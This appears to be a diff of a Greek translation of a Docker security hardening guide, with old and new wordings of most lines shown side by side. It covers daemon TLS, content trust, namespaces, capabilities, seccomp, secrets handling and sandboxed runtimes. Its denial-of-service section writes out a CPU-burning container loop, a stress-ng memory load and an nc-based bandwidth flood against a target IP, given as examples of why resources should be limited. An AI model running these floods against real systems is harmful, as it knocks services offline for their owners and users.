DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
Ωστόσο, δεν συνιστάται η εκθεση του Docker daemon μέσω HTTP λόγω ανησυχιών ασφαλείας. Συνιστάται να ασφαλίσετε τις συνδέσεις χρησιμοποιώντας HTTPS. Υπάρχουν δύο κύριες προσεγγίσεις για την ασφάλεια της σύνδεσης:
Ωστόσο, δεν συνιστάται η εκθεση του Docker daemon μέσω HTTP λόγω ανησυχιών ασφαλείας. Συνιστάται να ασφαλίζονται οι συνδέσεις χρησιμοποιώντας HTTPS. Υπάρχουν δύο κύριες προσεγγίσεις για την ασφάλιση της σύνδεσης:
1. Ο πελάτης επαληθεύει την ταυτότητα του διακομιστή.
2. Τόσο ο πελάτης όσο και ο διακομιστής αυθεντικοποιούν αμοιβαία την ταυτότητα τους.
Τα πιστοποιητικά χρησιμοποιούνται για την επιβεβαίωση της ταυτότητας του διακομιστή. Για λεπτομερείς παραδείγματα και των δύο μεθόδων, ανατρέξτε στο [**αυτό τον οδηγό**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
Τα πιστοποιητικά χρησιμοποιούνται για την επιβεβαίωση της ταυτότητας του διακομιστή. Για λεπτομερείς παραδείγματα και των δύο μεθόδων, ανατρέξτε στο [**αυτόν τον οδηγό**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
### Ασφάλεια των Εικόνων Εμφυτευμάτων
Οι εικόνες εμφυτευμάτων μπορούν να αποθηκευτούν είτε σε ιδιωτικούς είτε σε δημόσιους αποθηκευτικούς χώρους. Το Docker προσφέρει αρκετές επιλογές αποθήκευσης για τις εικόνες εμφυτευμάτων:
Οι εικόνες εμφυτευμάτων μπορούν να αποθηκευτούν είτε σε ιδιωτικούς είτε σε δημόσιους αποθηκευτές. Το Docker προσφέρει αρκετές επιλογές αποθήκευσης για εικόνες εμφυτευμάτων:
* [**Docker Hub**](https://hub.docker.com): Ένα δημόσιο υπηρεσία αποθετηρίου από το Docker.
* [**Docker Registry**](https://github.com/docker/distribution): Ένα έργο ανοικτού κώδικα που επιτρέπει στους χρήστες να φιλοξενούν το δικό τους αποθετήριο.
@ -94,51 +94,51 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
- **Εμπιστοσύνη Περιεχομένου Docker** χρησιμοποιεί το έργο Notary, βασισμένο στο The Update Framework (TUF), για τη διαχείριση της υπογραφής των εικόνων. Για περισσότερες πληροφορίες, δείτε [Notary](https://github.com/docker/notary) και [TUF](https://theupdateframework.github.io).
- Για να ενεργοποιήσετε την εμπιστοσύνη περιεχομένου Docker, ορίστε `export DOCKER_CONTENT_TRUST=1`. Αυτή η λειτουργία είναι απενεργοποιημένη από προεπιλογή στην έκδοση Docker 1.10 και μετά.
- Με αυτήν τη λειτουργία ενεργοποιημένη, μόνο υπογεγραμμένες εικόνες μπορούν να ληφθούν. Η πρώτη αποστολή εικόνας απαιτεί την ορισμό κωδικών πρόσβασης για τα κλειδιά ρίζας και ετικέτας, με το Docker να υποστηρίζει επίσης το Yubikey για ενισχυμένη ασφάλεια. Περισσότερες λεπτομέρειες μπορούν να βρεθούν [εδώ](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Με αυτήν τη λειτουργία ενεργοποιημένη, μόνο υπογεγραμμένες εικόνες μπορούν να ληφθούν. Η αρχική αποστολή εικόνας απαιτεί την ορισμό κωδικών πρόσβασης για τα κλειδιά ρίζας και ετικέτας, με το Docker να υποστηρίζει επίσης το Yubikey για ενισχυμένη ασφάλεια. Περισσότερες λεπτομέρειες μποροών να βρεθούν [εδώ](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Η προσπάθεια να γίνει λήψη μιας μη υπογεγραμμένης εικόνας με την εμπιστοσύνη περιεχομένου ενεργοποιημένη οδηγεί σε σφάλμα "Δεν υπάρχουν δεδομένα εμπιστοσύνης για το τελευταίο".
- Για αποστολές εικόνων μετά την πρώτη, το Docker ζητά τον κωδικό πρόσβασης του κλειδιού αποθετηρίου για να υπογράψει την εικόνα.
- Για αποστολές εικόνων μετά την πρώτη, το Docker ζητά τον κωδικό πρόσβασης του κλειδιού αποθήκευσης για να υπογράψει την εικόνα.
Για να δημιουργήσετε αντίγραφο ασφαλείας των ιδιωτικών κλειδιών σας, χρησιμοποιήστε την εντολή:
```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```
Κατά τη μετάβαση σε νέους hosts του Docker, είναι απαραίτητο να μεταφερθούν τα root και repository keys για τη διατήρηση της λειτουργικότητας.
Κατά τη μετάβαση σε νέους hosts Docker, είναι απαραίτητο να μεταφερθούν τα κλειδιά root και αποθετηρίου για τη διατήρηση των λειτουργιών.
***
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για εύκολη δημιουργία και **αυτοματοποίηση workflows** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Χαρακτηριστικά Ασφάλειας Εμπορευμάτων
## Χαρακτηριστικά Ασφάλειας Εμπορευματοκιβωτίων
<details>
<summary>Σύνοψη των Χαρακτηριστικών Ασφάλειας Εμπορευμάτων</summary>
<summary>Σύνοψη των Χαρακτηριστικών Ασφάλειας Εμπορευματοκιβωτίων</summary>
#### Κύρια Χαρακτηριστικά Απομόνωσης Κύριων Διεργασιών
Σε περιβάλλοντα με εφαρμογές σε containers, η απομόνωση των έργων και των διεργασιών τους είναι ζωτικής σημασίας για την ασφάλεια και τη διαχείριση πόρων. Εδώ υπάρχει μια απλοποιημένη εξήγηση των βασικών έννοιων:
Σε περιβάλλοντα εμπορευματοκιβωτίων, η απομόνωση των έργων και των διεργασιών τους είναι ζωτικής σημασίας για την ασφάλεια και τη διαχείριση πόρων. Εδώ υπάρχει μια απλοποιημένη εξήγηση των βασικών έννοιων:
**Χώροι Ονομάτων (Namespaces)**
* **Σκοπός**: Βεβαιώνει την απομόνωση πόρων όπως διεργασίες, δίκτυο και συστήματα αρχείων. Ειδικά στο Docker, οι χώροι ονομάτων διατηρούν τις διεργασίες ενός container χωριστές από τον host και άλλα containers.
* **Σκοπός**: Βεβαιώνουν την απομόνωση πόρων όπως διεργασίες, δίκτυο και συστήματα αρχείων. Ειδικά στο Docker, οι χώροι ονομάτων κρατούν τις διεργασίες ενός εμπορευματοκιβωτίου χωριστά από τον κεντρικό υπολογιστή και άλλα εμπορευματοκιβώτια.
* **Χρήση της `unshare`**: Η εντολή `unshare` (ή η υποκείμενη κλήση συστήματος) χρησιμοποιείται για τη δημιουργία νέων χώρων ονομάτων, παρέχοντας ένα επιπλέον επίπεδο απομόνωσης. Ωστόσο, ενώ το Kubernetes δεν αποκλείει αυτό από μόνο του, το Docker το κάνει.
* **Περιορισμός**: Η δημιουργία νέων χώρων ονομάτων δεν επιτρέπει σε μια διεργασία να επανέλθει στους προεπιλεγμένους χώρους ονομάτων του host. Για να διεισδύσει στους χώρους ονομάτων του host, συνήθως απαιτείται πρόσβαση στον κατάλογο `/proc` του host, χρησιμοποιώντας το `nsenter` για είσοδο.
* **Περιορισμός**: Η δημιουργία νέων χώρων ονομάτων δεν επιτρέπει σε μια διεργασία να επανέλθει στους προεπιλεγμένους χώρους ονομάτων του κεντρικού υπολογιστή. Για να διεισδύσει στους χώρους ονομάτων του κεντρικού υπολογιστή, κανονικά απαιτείται πρόσβαση στον κατάλογο `/proc` του κεντρικού υπολογιστή, χρησιμοποιώντας το `nsenter` για είσοδο.
**Ομάδες Ελέγχου (CGroups)**
* **Λειτουργία**: Χρησιμοποιείται κυρίως για την κατανομή πόρων μεταξύ διεργασιών.
* **Ασφάλεια**: Οι CGroups από μόνες τους δεν προσφέρουν ασφάλεια απομόνωσης, εκτός από το χαρακτηριστικό `release_agent`, το οποίο, αν διαμορφωθεί εσφαλμένα, θα μπορούσε πιθανόν να εκμεταλλευτείται για μη εξουσιοδοτημένη πρόσβαση.
* **Λειτουργία**: Χρησιμοποιούνται κυρίως για την κατανομή πόρων μεταξύ διεργασιών.
* **Ασφάλεια**: Οι ομάδες ελέγχου από μόνες τους δεν προσφέρουν ασφάλεια απομόνωσης, εκτός από το χαρακτηριστικό `release_agent`, το οποίο, αν διαμορφωθεί εσφαλμένα, θα μπορούσε πιθανόν να εκμεταλλευτείται για μη εξουσιοδοτημένη πρόσβαση.
**Απόρριψη Δυνατοτήτων (Capability Drop)**
* **Σημασία**: Είναι ένα κρίσιμο χαρακτηριστικό ασφάλειας για την απομόνωση διεργασιών.
* **Λειτουργικότητα**: Περιορίζει τις ενέργειες που μπορεί να εκτελέσει μια διεργασία root απορρίπτοντας συγκεκριμένες δυνατότητες. Ακόμα κι αν μια διεργασία λειτουργεί με δικαιώματα root, η έλλειψη των απαραίτητων δυνατοτήτων την εμποδίζει από την εκτέλεση προνομιούχων ενεργειών, καθώς οι κλήσεις συστήματος θα αποτύχουν λόγω έλλειψης δικαιωμάτων.
* **Λειτουργικότητα**: Περιορίζει τις ενέργειες που μπορεί να εκτελέσει μια διεργασία ρίζας απορρίπτοντας συγκεκριμένες δυνατότητες. Ακόμα κι αν μια διεργασία λειτουργεί με δικαιώματα ρίζας, η έλλειψη των απαραίτητων δυνατοτήτων την εμποδίζει από την εκτέλεση προνομιούχων ενεργειών, καθώς οι κλήσεις συστήματος θα αποτύχουν λόγω έλλειψης δικαιωμάτων.
Αυτές είναι οι **υπόλοιπες δυνατότητες** μετά την απόρριψη των υπολοίπων δυνατοτήτων από τη διεργασία:
@ -150,14 +150,14 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
**Seccomp**
Είναι ενεργοποιημένο από προεπιλογή στο Docker. Βοηθά στο **περιορισμό ακόμα περισσότερων syscalls** που μπορεί να καλέσει η διαδικασία.\
Είναι ενεργοποιημένο από προεπιλογή στο Docker. Βοηθά στο **περιορισμό ακόμα περισσότερων κλήσεων συστήματος (syscalls)** που μπορεί να κάνει η διεργασία.\
Το **προφίλ προεπιλεγμένου Seccomp του Docker** μπορεί να βρεθεί στο [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
**AppArmor**
Το Docker έχει ένα πρότυπο που μπορείτε να ενεργοποιήσετε: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
Αυτό θα επιτρέψει τη μείωση των δυνατοτήτων, των syscalls, την πρόσβαση σε αρχεία και φακέλους...
Αυτό θα επιτρέψει τη μείωση των δυνατοτήτων, των κλήσεων συστήματος, την πρόσβαση σε αρχεία και φακέλους...
</details>
@ -181,8 +181,8 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
### cgroups
Η δυνατότητα του πυρήνα του Linux με τα **cgroups** παρέχει τη δυνατότητα να **περιορίζει πόρους όπως cpu, μνήμη, io, εύρος ζώνης δικτύου μεταξύ** ενός συνόλου διεργασιών. Το Docker επιτρέπει τη δημιουργία Containers χρησιμοποιώντας το χαρακτηριστικό cgroup που επιτρέπει τον έλεγχο πόρων για το συγκεκριμένο Container.\
Ακολουθεί ένα Container που δημιουργήθηκε με περιορισμό μνήμης χώρου χρήστη σε 500m, περιορισμό μνήμης πυρήνα σε 50m, μοιρασμό cpu σε 512, blkioweight σε 400. Ο μοιρασμός CPU είναι ένας λόγος που ελέγχει τη χρήση CPU του Container. Έχει προεπιλεγμένη τιμή 1024 και εύρος μεταξύ 0 και 1024. Αν τρία Containers έχουν τον ίδιο μοιρασμό CPU των 1024, κάθε Container μπορεί να πάρει μέχρι 33% της CPU σε περίπτωση ανταγωνισμού πόρων CPU. Το blkio-weight είναι ένας λόγος που ελέγχει το IO του Container. Έχει προεπιλεγμένη τιμή 500 και εύρος μεταξύ 10 και 1000.
Η λειτουργία του πυρήνα του Linux **cgroups** παρέχει τη δυνατότητα να **περιορίζει πόρους όπως cpu, μνήμη, io, εύρος ζώνης δικτύου μεταξύ** ενός συνόλου διεργασιών. Το Docker επιτρέπει τη δημιουργία Containers χρησιμοποιώντας τη δυνατότητα cgroup που επιτρέπει τον έλεγχο πόρων για το συγκεκριμένο Container.\
Ακολουθεί ένα Container που δημιουργήθηκε με περιορισμό μνήμης χώρου χρήστη σε 500m, περιορισμό μνήμης πυρήνα σε 50m, μοίρα cpu σε 512, blkioweight σε 400. Η μοίρα cpu είναι ένας λόγος που ελέγχει τη χρήση CPU του Container. Έχει προεπιλεγμένη τιμή 1024 και εύρος μεταξύ 0 και 1024. Αν τρία Containers έχουν την ίδια μοίρα cpu των 1024, κάθε Container μπορεί να πάρει μέχρι 33% της CPU σε περίπτωση διαμάχης πόρων CPU. Το blkio-weight είναι ένας λόγος που ελέγχει το IO του Container. Έχει προεπιλεγμένη τιμή 500 και εύρος μεταξύ 10 και 1000.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
@ -200,7 +200,7 @@ ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the
### Δυνατότητες
Οι δυνατότητες επιτρέπουν **πιο λεπτό έλεγχο για τις δυνατότητες που μπορούν να επιτραπούν** για το χρήστη root. Το Docker χρησιμοποιεί το χαρακτηριστικό δυνατοτήτων του πυρήνα Linux για να **περιορίσει τις λειτουργίες που μπορούν να γίνουν μέσα σε ένα Εμπορευματοκιβώτιο** ανεξαρτήτως του τύπου του χρήστη.
Οι δυνατότητες επιτρέπουν **πιο λεπτό έλεγχο για τις δυνατότητες που μπορούν να επιτραπούν** για το χρήστη root. Το Docker χρησιμοποιεί το χαρακτηριστικό δυνατοτήτων του πυρήνα Linux για **περιορισμό των λειτουργιών που μπορούν να γίνουν μέσα σε ένα Εμπορευματοκιβώτιο** ανεξαρτήτως του τύπου του χρήστη.
Όταν τρέχει ένα εμπορευματοκιβώτιο Docker, η **διαδικασία απορρίπτει ευαίσθητες δυνατότητες που θα μπορούσε να χρησιμοποιήσει η διαδικασία για να δραπετεύσει από την απομόνωση**. Αυτό προσπαθεί να διασφαλίσει ότι η διαδικασία δεν θα μπορεί να εκτελέσει ευαίσθητες ενέργειες και να δραπετεύσει:
@ -253,9 +253,9 @@ ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the
## DoS από ένα εμπορευματοκιβώτιο
Αν δεν περιορίζετε σωστά τους πόρους που μπορεί να χρησιμοποιήσει ένα εμπορευματοκιβώτιο, ένα εμπορευματοκιβώτιο που έχει υποστεί παραβίαση μπορεί να προκαλέσει DoS στον υπολογιστή όπου τρέχει.
Αν δεν περιορίζετε σωστά τους πόρους που μπορεί να χρησιμοποιήσει ένα εμπορευματοκιβώτιο, ένα εμπορευματοκιβώτιο που έχει υποστεί επίθεση μπορεί να προκαλέσει DoS στον υπολογιστή όπου τρέχει.
* CPU DoS
* DoS CPU
```bash
# stress-ng
sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m
@ -263,7 +263,7 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
* Bandwidth DoS
* Διακοπή λειτουργίας λωρίδας εύρους ζώνης
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
```
@ -281,7 +281,7 @@ nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444;
#### no-new-privileges
Εάν εκτελείτε ένα container όπου ένας επιτιθέμενος καταφέρνει να αποκτήσει πρόσβαση ως χρήστης με χαμηλά προνόμια. Εάν έχετε ένα **κακώς διαμορφωμένο suid binary**, ο επιτιθέμενος μπορεί να το εκμεταλλευτεί και **να αναβαθμίσει τα προνόμιά του μέσα** στο container. Αυτό, μπορεί να του επιτρέψει να δραπετεύσει από αυτό.
Εάν εκτελείτε ένα container όπου ένας επιτιθέμενος καταφέρνει να αποκτήσει πρόσβαση ως χρήστης με χαμηλά προνόμια. Εάν έχετε ένα **κακώς ρυθμισμένο suid binary**, ο επιτιθέμενος μπορεί να το εκμεταλλευτεί και **να αναβαθμίσει τα προνόμιά του μέσα** στο container. Αυτό, μπορεί να του επιτρέψει να δραπετεύσει από αυτό.
Η εκτέλεση του container με την επιλογή **`no-new-privileges`** ενεργοποιημένη θα **εμποδίσει αυτήν τη μορφή αναβάθμισης προνομίων**.
```
@ -304,15 +304,15 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
```
Για περισσότερες επιλογές **`--security-opt`** ελέγξτε: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
## Άλλες Αναλύσεις Ασφαλείας
## Άλλες Σκέψεις Ασφαλείας
### Διαχείριση Μυστικών: Καλύτερες Πρακτικές
Είναι κρίσιμο να αποφεύγετε την ενσωμάτωση μυστικών απευθείας στις εικόνες Docker ή τη χρήση μεταβλητών περιβάλλοντος, καθώς αυτές οι μέθοδοι εκθέτουν τις ευαίσθητες πληροφορίες σας σε οποιονδήποτε έχει πρόσβαση στο container μέσω εντολών όπως `docker inspect` ή `exec`.
Τα **Docker volumes** αποτελούν μια ασφαλέστερη εναλλακτική λύση, συνιστώμενη για την πρόσβαση σε ευαίσθητες πληροφορίες. Μπορούν να χρησιμοποιηθούν ως προσωρινό σύστημα αρχείων στη μνήμη, μειώνοντας τους κινδύνους που σχετίζονται με το `docker inspect` και την καταγραφή. Ωστόσο, οι χρήστες ριζικού επιπέδου και εκείνοι με πρόσβαση `exec` στο container ενδέχεται να έχουν πρόσβαση στα μυστικά.
Τα **Docker volumes** αποτελούν μια ασφαλέστερη εναλλακτική λύση, προτεινόμενη για την πρόσβαση σε ευαίσθητες πληροφορίες. Μπορούν να χρησιμοποιηθούν ως προσωρινό σύστημα αρχείων στη μνήμη, μειώνοντας τους κινδύνους που σχετίζονται με το `docker inspect` και την καταγραφή. Ωστόσο, οι χρήστες ριζικού επιπέδου και εκείνοι με πρόσβαση `exec` στο container ενδέχεται να έχουν πρόσβαση στα μυστικά.
Τα **Docker secrets** προσφέρουν μια ακόμα πιο ασφαλή μέθοδο για τη χειρισμό ευαίσθητων πληροφοριών. Για περιπτώσεις που απαιτούν μυστικά κατά τη φάση κατασκευής της εικόνας, το **BuildKit** παρουσιάζει μια αποτελεσματική λύση με υποστήριξη για μυστικά κατά την κατασκευή, βελτιώνοντας την ταχύτητα κατασκευής και παρέχοντας επιπλέον χαρακτηριστικά.
Τα **Docker secrets** προσφέρουν μια ακόμη πιο ασφαλή μέθοδο για τη χειρισμό ευαίσθητων πληροφοριών. Για περιπτώσεις που απαιτούν μυστικά κατά τη φάση κατασκευής της εικόνας, το **BuildKit** παρουσιάζει μια αποτελεσματική λύση με υποστήριξη για μυστικά κατά την κατασκευή, βελτιώνοντας την ταχύτητα κατασκευής και παρέχοντας επιπλέον χαρακτηριστικά.
Για να εκμεταλλευτείτε το BuildKit, μπορεί να ενεργοποιηθεί με τρεις τρόπους:
@ -324,7 +324,7 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
Για τα μυστικά που χρειάζονται σε ένα τρέχον container, το **Docker Compose και το Kubernetes** προσφέρουν αξιόπιστες λύσεις. Το Docker Compose χρησιμοποιεί ένα κλειδί `secrets` στον ορισμό της υπηρεσίας για την καθορισμό μυστικών αρχείων, όπως φαίνεται σε ένα παράδειγμα `docker-compose.yml`:
Για τα μυστικά που χρειάζονται σε ένα ενεργό container, το **Docker Compose και το Kubernetes** προσφέρουν αξιόπιστες λύσεις. Το Docker Compose χρησιμοποιεί ένα κλειδί `secrets` στον ορισμό της υπηρεσίας για την καθορισμό μυστικών αρχείων, όπως φαίνεται σε ένα παράδειγμα `docker-compose.yml`:
```yaml
version: "3.7"
services:
@ -343,36 +343,66 @@ file: ./my_secret_file.txt
### gVisor
Το **gVisor** είναι ένα πυρήνας εφαρμογής, γραμμένος σε Go, που υλοποιεί ένα σημαντικό μέρος της επιφάνειας συστήματος Linux. Περιλαμβάνει ένα [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime με το όνομα `runsc` που παρέχει μια **οριοθετημένη περιοχή μεταξύ της εφαρμογής και του πυρήνα του υπολογιστή**. Το runtime `runsc` ενσωματώνεται με το Docker και το Kubernetes, κάνοντας εύκολη την εκτέλεση απομονωμένων containers.
**gVisor** είναι ένα πυρήνας εφαρμογής, γραμμένος σε Go, που υλοποιεί ένα σημαντικό μέρος της επιφάνειας συστήματος Linux. Περιλαμβάνει ένα [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime με το όνομα `runsc` που παρέχει μια **οριοθετημένη περιοχή μεταξύ της εφαρμογής και του πυρήνα του υπολογιστή**. Το runtime `runsc` ενσωματώνεται με το Docker και το Kubernetes, κάνοντας εύκολη την εκτέλεση container σε αμμόλοφο.
{% embed url="https://github.com/google/gvisor" %}
### Kata Containers
Τα **Kata Containers** είναι μια κοινότητα ανοιχτού κώδικα που εργάζεται για τη δημιουργία ενός ασφαλούς runtime container με ελαφριές εικονικές μηχανές που αισθάνονται και λειτουργούν όπως τα containers, αλλά παρέχουν **ισχυρότερη απομόνωση φορτίου εργασίας χρησιμοποιώντας τεχνολογία εικονικοποίησης υλικού** ως δεύτερο επίπεδο άμυνας.
**Kata Containers** είναι μια κοινότητα ανοιχτού κώδικα που εργάζεται για τη δημιουργία ενός ασφαλούς runtime container με ελαφριές εικονικές μηχανές που αισθάνονται και λειτουργούν όπως τα containers, αλλά παρέχουν **ισχυρότερη απομόνωση φορτίου εργασίας χρησιμοποιώντας τεχνολογία εικονικοποίησης υλικού** ως δεύτερο επίπεδο άμυνας.
{% embed url="https://katacontainers.io/" %}
### Συμβουλές Περίληψης
* **Μην χρησιμοποιείτε τη σημαία `--privileged` ή προσαρτήστε ένα** [**Docker socket μέσα στο container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Το docker socket επιτρέπει τη δημιουργία containers, είναι ένα εύκολο τρόπος να αναλάβετε πλήρη έλεγχο του υπολογιστή φιλοξενίας, για παράδειγμα, με την εκτέλεση ενός άλλου container με τη σημαία `--privileged`.
* Μην εκτελείτε ως root μέσα στο container. Χρησιμοποιήστε έναν [διαφορετικό χρήστη](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) και [user namespaces](https://docs.docker.com/engine/security/userns-remap/). Το root στο container είναι το ίδιο με αυτόν στον υπολογιστή φιλοξενίας εκτός εάν γίνει αντιστοίχιση με user namespaces. Περιορίζεται ελαφρά κυρίως από Linux namespaces, δυνατότητες και cgroups.
* [Απορρίψτε όλες τις δυνατότητες](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) και ενεργοποιήστε μόνο αυτές που απαιτούνται** (`--cap-add=...`). Πολλά φορτία εργασίας δεν χρειάζονται καμία δυνατότητα και η προσθήκη τους αυξάνει το πεδίο μιας πιθανής επίθεσης.
* [Χρησιμοποιήστε την επιλογή ασφαλείας “no-new-privileges”](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) για να εμποδίσετε τις διεργασίες από το να αποκτήσουν περισσότερα προνόμια, για παράδειγμα μέσω suid δυαδικών.
* [Περιορίστε τους διαθέσιμους πόρους στο container](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources). Οι περιορισμοί πόρων μπορούν να προστατεύσουν τον υπολογιστή από επιθέσεις αρνησης υπηρεσίας.
* **Προσαρμόστε τα προφίλ** [**seccomp**](https://docs.docker.com/engine/security/seccomp/), [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ή SELinux)** για να περιορίσετε τις ενέργειες και τις κλήσεις συστήματος που είναι διαθέσιμες για το container στο ελάχιστο απαιτούμενο.
* **Χρησιμοποιήστε** [**επίσημες εικόνες docker**](https://docs.docker.com/docker-hub/official_images/) **και απαιτήστε υπογραφές** ή δημιουργήστε τις δικές σας βασισμένες σε αυτές. Μην κληρονομείτε ή χρησιμοποιείτε [προσβεβλημένες](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) εικόνες. Αποθηκεύστε επίσης τα ριζικά κλειδιά, τον κωδικό πρόσβασης σε ασφαλές μέρος. Το Docker έχει σχέδια για τη διαχείριση των κλειδιών με το UCP.
* **Μην χρησιμοποιείτε τη σημαία `--privileged` ή προσαρτήστε ένα** [**Docker socket μέσα στο container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Το docker socket επιτρέπει τη δημιουργία containers, είναι ένα εύκολος τρόπος να αναλάβετε πλήρη έλεγχο του υπολογιστή, για παράδειγμα, με την εκτέλεση ενός άλλου container με τη σημαία `--privileged`.
* **Μην εκτελείτε ως ριζικός χρήστης μέσα στο container. Χρησιμοποιήστε έναν** [**διαφορετικό χρήστη**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **και** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** Το ριζικός χρήστης στο container είναι ίδιος με αυτόν στον υπολογιστή εκτός αν γίνει αντιστοίχιση με user namespaces. Περιορίζεται ελαφρά από, κυρίως, τα Linux namespaces, τις δυνατότητες και τα cgroups.
* [**Απορρίψτε όλες τις δυνατότητες**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) και ενεργοποιήστε μόνο αυτές που απαιτούνται** (`--cap-add=...`). Πολλά φορτία εργασίας δεν χρειάζονται καμία δυνατότητα και η προσθήκη τους αυξάνει το πεδίο μιας πιθανής επίθεσης.
* [**Χρησιμοποιήστε την επιλογή ασφαλείας “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) για να εμποδίσετε τις διεργασίες από το να αποκτήσουν περισσότερα προνόμια, για παράδειγμα μέσω suid δυαδικών.
* [**Περιορίστε τους διαθέσιμους πόρους στο container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Οι περιορισμοί πόρων μπορούν να προστατεύσουν τον υπολογιστή από επιθέσεις αρνησης υπηρεσίας.
* **Προσαρμόστε τα προφίλ** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ή SELinux)** για να περιορίσετε τις ενέργειες και τις κλήσεις συστήματος που είναι διαθέσιμες για το container στο ελάχιστο απαιτούμενο.
* **Χρησιμοποιήστε** [**επίσημες εικόνες docker**](https://docs.docker.com/docker-hub/official_images/) **και απαιτήστε υπογραφές** ή δημιουργήστε τις δικές σας βασισμένες σε αυτές. Μην κληρονομείτε ή χρησιμοποιείτε εικόνες με πίσω πόρτες. Αποθηκεύστε επίσης τα ριζικά κλειδιά, τον κωδικό πρόσβασης σε ασφαλές μέρος. Το Docker έχει σχέδια για τη διαχείριση των κλειδιών με το UCP.
* **Αναδημιουργήστε τακτικά** τις εικόνες σας για να **εφαρμόσετε πάτσες ασφαλείας στον υπολογιστή και τις εικόνες.**
* Διαχειριστείτε τα **μυστικά σας με σύνεση** ώστε να είναι δύσκολο για τον επιτιθέμενο να τα αποκτήσει.
* Εάν **εκθέτετε τον δαίμονα του docker χρησιμοποιήστε HTTPS** με πιστοποίηση πελάτη και εξυπηρετητή.
* Στο Dockerfile σας, **προτιμήστε την ΑΝΤΙΓΡΑΦΗ αντί του ΠΡΟΣΘΗΚΗ**. Η ΠΡΟΣΘΗΚΗ εξάγει αυτόματα συμπιεσμένα αρχεία και μπορεί να αντιγράψει αρχεία από διευθύνσεις URL. Η ΑΝΤΙΓΡΑΦΗ δεν έχει αυτές τις δυνατότητες. Όποτε είναι δυνατόν, αποφύγετε τη χρήση της ΠΡΟΣΘΗΚΗ για να μην είστε ευάλωτοι σε επιθέσεις μέσω απομακρυσμένων διευθύνσεων URL και αρχείων Zip.
* Αν **εκθέτετε τον δαίμονα του docker χρησιμοποιήστε HTTPS** με πιστοποίηση πελάτη & εξυπηρετητή.
* Στο Dockerfile σας, **προτιμήστε την ΑΝΤΙΓΡΑΦΗ αντί του ΠΡΟΣΘΗΚΗ**. Η ΠΡΟΣΘΗΚΗ αυτόματα αποσυμπιέζει συμπιεσμένα αρχεία και μπορεί να αντιγράψει αρχεία από διευθύνσεις URL. Η ΑΝΤΙΓΡΑΦΗ δεν έχει αυτές τις δυνατότητες. Όποτε είναι δυνατόν, αποφύγετε τη χρήση της ΠΡΟΣΘΗΚΗ για να μην είστε ευάλωτοι σε επιθέσεις μέσω απομακρυσμένων διευθύνσεων URL και αρχείων Zip.
* Έχετε **ξεχωριστά containers για κάθε μικρο-υπηρεσία**
* **Μην τοποθετείτε ssh** μέσα στο container, το “docker exec” μπορεί να χρησιμοποιηθεί για να συνδεθείτε με ssh στο Container.
